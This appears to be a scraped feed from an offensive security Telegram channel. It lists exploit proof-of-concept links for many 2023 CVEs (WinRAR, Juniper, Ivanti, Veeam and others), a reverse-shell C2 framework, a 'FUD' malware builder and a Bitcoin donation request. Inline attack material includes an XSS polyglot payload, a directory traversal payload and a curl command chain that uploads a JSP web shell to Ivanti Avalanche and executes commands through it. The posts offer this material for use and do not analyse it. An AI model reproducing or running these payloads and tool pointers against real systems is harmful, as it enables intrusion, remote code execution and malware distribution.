Sani

💀NtRemoteLoad : Remote Shellcode Injector ⛓Repo : https://github.com/florylsk/NtRemoteLoad ⛔#shellcode 📱@APTANALYSIS

💰Bitcoin Wallet : bc1q2lszqp7rv98ur8dsnz3p2my8qp4qhma0sfee38 💲Charging status : 🔺 ❕Donate : We need financial help to expand the activity and initial expenses. Thanks

💪gym JavaScript://%250Aconfirm?.(1)/ /*'/*\'/*"/*\"/*/*\/*%26apos;)/*</Title/</Style/</Script/</textArea/<iFrame/ </noScript>\74k<K/contentEditable/autoFocus/ OnFocus=/*${/*/;{/**/(confirm)(1)}//> <Base/Href=//X55.is\76> https://brutelogic.com.br/gym.php ⛔#MOD_XSS 📱@APTANALYSIS

🔥🔥🔥CVE-2023-38831 : WinRAR < 6.23 - Attribute Code Execution 🟢POC : https://github.com/b1tg/CVE-2023-38831-winrar-exploit 🐈‍⬛NIST : https://nvd.nist.gov/vuln/detail/CVE-2023-38831 ✅TEST : Proof of concept has been tested on Windows 10 x64 & WinRAR v6.10 📱@APTIRAN

🎁CVE-2023-38831 : WinRAR < 6.23 - Attribute code execution 🟢POC : ⭐️1. https://github.com/b1tg/CVE-2023-38831-winrar-exploit ⭐️2. https://github.com/ZenNotMovie/cve-2023-winrar ⭐️3. https://github.com/BoredHackerBlog/winrar_CVE-2023-38831_lazy_poc ⚠️Warning: Not tested ⛔#Exploit 📱@APTANALYSIS

🟥CVE-2023-32563 : Ivanti Avalanche - Unauthenticated Remote Code Execution curl -v http://192.168.56.101:1900/Servlet/Skins -F guid=../../../Web/webapps/ROOT -F "file=@-;filename=x.jsp" <<<'<%Runtime.getRuntime().exec(request.getParameter("c"));%>' -: -k https://192.168.56.101:8443/x.jsp -d c=mspaint.exe "POST /Servlet/Skins" in C:\Program Files\Wavelink\Avalanche\RemoteControl\logs\jetty-*.request.log 🐈‍⬛CVE-2023-38035 : MobileIron Sentry - information extraction ➡️go : https://github.com/LeakIX/sentryexploit ⛔#Exploit , #PoC 📱@APTANALYSIS

⭐️A Beginner’s Guide to Adversary Emulation with Caldera 🗣️Post : https://blog.nviso.eu/2023/08/25/a-beginners-guide-to-adversary-emulation-with-caldera/ ⭐️Unlocking the power of Red Teaming: An overview of trainings and certifications 🗣️Post : https://blog.nviso.eu/2023/07/31/unlocking-the-power-of-red-teaming-an-overview-of-trainings-and-certifications/ ⛔#RedTeam . #Offensive , #Guid , #C2 📱@APTANALYSIS

🤔CVE-2023-27159 : Appwrite <= 1.2.1 - Unauthenticated Server-Side Request Forgery (SSRF) 🟢POC / BLOG : https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA ⛔#Exploit , #PoC 📱@APTANALYSIS

🔥CVE-2023-36844 : Juniper JunOS within SRX and EX Series products - Remote Code Execution (RCE IN Juniper Firewalls) 💥CVEs : CVE-2023-36844 , CVE-2023-36845 , CVE-2023-36846 , CVE-2023-36847 🔴Blog : https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/ 🟢POC : https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844 ⛔#Exploit , #ANALYSIS 📱@APTANALYSIS

😠Villain is a C2 framework that can handle multiple TCP socket & HoaxShell-based reverse shells, enhance their functionality with additional features (commands, utilities etc) and share them among connected sibling servers (Villain instances running on different machines). ⭐️Repo : https://github.com/t3l3machus/Villain ⛔#C2 , #RedTeam , #Offensive 📱@APTANALYSIS

🔔CVE-2023-30943 : Moodle <= 4.2.0 - Arbitrary folder creation (Stored-XSS) to RCE ⭐️Link : https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/ ⛔#Hunting 📱@APTANALYSIS

⭐️CVE-2023-39026: FileMage Gateway <= 1.10.9 - Directory Traversal Payload : /mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5 cwindows%5cwin.ini ⛔#Exploit 📱@APTANALYSIS

🟢Bypassing Bitlocker using a cheap logic analyzer 🗣️Link : https://www.errno.fr/BypassingBitlocker ⛔#Bypass 📱@APTANALYSIS

🐈CVE-2023-38035 : Ivanti Sentry Authentication Bypass Deep Dive Blog : https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/ POC : https://github.com/horizon3ai/CVE-2023-38035 ⛔#Exploit , #ANALYSIS 📱@APTANALYSIS

🔥CVE-2023-26256 & -/-/26255 : STAGIL Navigation - Menu & Themes plugin <= 2.0.52 for Jira - Unauthenticated Path Traversal 🟢POC : https://github.com/aodsec/CVE-2023-26256 ⛔#Exploit 📱@APTANALYSIS

🖥Successive / repetition 🐈‍⬛CVE-2023-27532 : Veeam Backup and Replication 🔴POC : https://github.com/horizon3ai/CVE-2023-27532 🔴POC : https://github.com/sfewer-r7/CVE-2023-27532 🐈‍⬛CVE-2023-32315 : Openfire 🔴POC : https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass 🐈‍⬛CVE-2021-21974 & CVE-2020-3992: VMware ESXi OpenSLP 🔴1 : https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9 🔴2 : https://blog.ovhcloud.com/ransomware-targeting-vmware-esxi/ 🔴3 : https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi 🔴POC : https://github.com/Shadow0ps/CVE-2021-21974 🔴POC : https://github.com/straightblast/My-PoC-Exploits/blob/master/CVE-2021-21974.py ⛔#Exploit , #Ransomware , #ANALYSIS 📱@APTANALYSIS

🙂Photo Exploit Downloader FUD Crypter Malware Builder REPO : https://github.com/benedixX0/Jpg-Png-Exploit-Downloader-Fud-Cryter-Malware-Builder-Cve-2023 ⚠️Be careful, it has not been tested. ⛔#TOOLS , #EXP 📱@APTANALYSIS

🔥CVE-2023-31492 : Zoho ManageEngine ADManager Plus Build 7180 - Recovery Password Disclosure - ZVE-2023-0176 🟢POC : https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/admanager-recovery-password-disclosure.md ⛔#Exploit 📱@APTANALYSIS

🔔BugBounty Tips : 🗣️Stored XSS Filter Bypass in the Skills section ➡️Write-Up : https://xalgord.medium.com/stored-xss-filter-bypass-in-the-skills-section-7bf5e33c8ace 👩‍💻Nuclei Template Editor - AI-powered hub to create, debug, scan, and store templates. Collaborate effortlessly with your team and community. ➡️Editor: https://templates.nuclei.sh ➡️Docs: https://docs.nuclei.sh/editor 😵The only graphQL wordlist you need, ML bug hunting and VDP submissions 🗣️intigriti : https://blog.intigriti.com/2023/08/23/bug-bytes-209-the-only-graphql-wordlist-you-need-ml-bug-hunting-and-vdp-submissions/ ⛔#Bug_Bounty , #Hunting 📱@APTANALYSIS